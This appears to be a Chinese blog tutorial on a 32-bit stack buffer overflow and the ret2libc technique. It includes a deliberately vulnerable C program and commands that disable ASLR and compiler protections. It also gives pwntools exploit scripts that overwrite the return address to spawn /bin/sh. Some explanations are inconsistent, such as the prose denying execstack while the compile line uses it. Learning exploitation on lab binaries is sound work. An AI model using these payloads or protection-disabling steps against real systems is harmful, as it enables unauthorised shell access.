溢出执行 ret2libc技术

ret2libc技术

这是我们要进行溢出实验的C程序:

#include 
void exploit()
{
    system("/bin/sh");
}
void func()
{
        char str[0x20];
        read(0,str,0x50);
}
int main()
{
        func();
        return 0;
}

由于没有使用 -z execstack,所以数据所在的内存页标识为不可执行,当程序溢出之后并不会去跳转到恶意代码,而是会进行报错,所以我们应该关闭ASLR,执行下面代码即可

echo 0 > /proc/sys/kernel/randomize_va_space

将1.c编译为32位的exe文件 1.exe,关闭保护机制

gcc -no-pie -fno-stack-protector -z execstack -m32 -o 1.exe 1.c

之后我们先找出溢出的位置
先生成一百个字符

pattern  create 100

将其复制,输入r进行交互将这些字符粘贴进去
会发现程序停止运行,我们找到eip对应的字符AFAA,这就是发生溢出的位置,执行下列命令找出发生溢出的位置

pattern offset AFAA

溢出执行 ret2libc技术_第1张图片
发现溢出的位置为44,那么我们就可以从这个位置开始将返回地址进行覆盖,替换成恶意代码的地址,这里我们是替换成exploit的地址,因为这个函数里面有个system函数,可以获取系统权限
溢出执行 ret2libc技术_第2张图片
那么可以写python代码来进行交互,利用这个溢出

from pwn import *//导入库
p=process('./1.exe')
offset = 44
payload ='a'*offset+p32(0x8049172)//载荷,前面为字符串正好填充缓冲区,后面就是替换原来返回地址的地址
p.sendline(payload)//将载荷发送至1.exe程序
p.interactive()//进行交互

执行这个代码,成功提权!
在这里插入图片描述
下面就是ret2libc技术,这个与上面不同的是,我们溢出之后跳转的不再是exploit函数,而是直接跳转到system函数

那么,我们肯定不能直接将返回地址覆盖成system函数,因为执行函数的时候我们需要先压入参数,再将返回地址压入堆栈,把寄存器压栈然后开辟空间,所以我们直接跳到system这个函数的时候,eip获得system的地址,那么我们也要将参数和返回地址压入堆栈,本程序中system有一个字符串参数为’/bin/sh’,现在我们要做的是分别找到system、返回地址exit、/bin/sh的地址

如果我们使用的是peda,那么我们可以用p system 或者searchmem system来找system的地址,如果使用的是pwndbg的话我们可以用search system来找system地址,后面两个的地址也可以通过这种方式。
溢出执行 ret2libc技术_第3张图片
值得注意的是,这里找到的多个地址要注意字符串地址和函数地址,比如上图就是字符串地址,三个地址都可以使用。

最后我们就可以书写python代码,只需将上面的代码稍微改一下即可

from pwn import *
p=process('./1.exe')
offset = 44
payload ='a'*offset+p32(0x804a008)+p32(0xf7de34af)+p32(0xf7de58d1)
p.sendline(payload)
p.interactive()

执行该python代码,成功拿到系统权限。

你可能感兴趣的:(pwn)